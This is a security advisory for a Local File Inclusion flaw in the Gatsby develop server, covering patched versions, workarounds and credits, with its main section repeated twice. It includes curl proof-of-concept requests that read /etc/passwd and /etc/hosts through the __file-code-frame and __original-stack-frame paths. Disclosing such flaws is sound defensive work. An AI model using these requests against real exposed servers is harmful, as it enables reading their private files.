Headline
GHSA-c6f8-8r25-c4gc: Gatsby develop server has Local File Inclusion vulnerability
Impact
The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the __file-code-frame and __original-stack-frame paths, exposed when running the Gatsby develop server (gatsby develop).
The following steps can be used to reproduce the vulnerability:
# Create a new Gatsby project
$ npm init gatsby
$ cd my-gatsby-site
# Start the Gatsby develop server
$ gatsby develop
# Execute the Local File Inclusion vulnerability in __file-code-frame
$ curl "http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&lineNumber=1"
# Execute the Local File Inclusion vulnerability in __original-stack-frame
$ curl "http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&lineNumber=1&skipSourceMap=1"
It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.
Patches
A patch has been introduced in gatsby@5.9.1 and gatsby@4.25.7 which mitigates the issue.
Workarounds
As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability.
We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.
Credits
We would like to thank Maxwell Garrett of Assetnote for bringing the __file-code-frame issue to our attention.
For more information
Email us at security@gatsbyjs.com.
Impact
The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the __file-code-frame and __original-stack-frame paths, exposed when running the Gatsby develop server (gatsby develop).
The following steps can be used to reproduce the vulnerability:
# Create a new Gatsby project
$ npm init gatsby
$ cd my-gatsby-site
# Start the Gatsby develop server
$ gatsby develop
# Execute the Local File Inclusion vulnerability in __file-code-frame
$ curl "http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&lineNumber=1"
# Execute the Local File Inclusion vulnerability in __original-stack-frame
$ curl "http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&lineNumber=1&skipSourceMap=1"
It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.
Patches
A patch has been introduced in gatsby@5.9.1 and gatsby@4.25.7 which mitigates the issue.
Workarounds
As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability.
We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.
Credits
We would like to thank Maxwell Garrett of Assetnote for bringing the __file-code-frame issue to our attention.
For more information
Email us at security@gatsbyjs.com.
References
- GHSA-c6f8-8r25-c4gc
- https://nvd.nist.gov/vuln/detail/CVE-2023-34238
- gatsbyjs/gatsby@ae5a654
- gatsbyjs/gatsby@fc22f4b
Related news
Gatsby is a free and open source framework based on React. The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the `__file-code-frame` and `__original-stack-frame` paths, exposed when running the Gatsby develop server (`gatsby develop`). Any file in scope of the development server could potentially be exposed. It should be noted that by default `gatsby develop` is only accessible via the localhost `127.0.0.1`, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as `--host 0.0.0.0`, `-H 0.0.0.0`, or the `GATSBY_HOST=0.0.0.0` environment variable. A patch has been introduced in `gatsby@5.9.1` and `gatsby@4.25.7` which mitigates the issue. Users are advised to upgrade. Users unable to upgrade should avoid exposing their development server to the internet.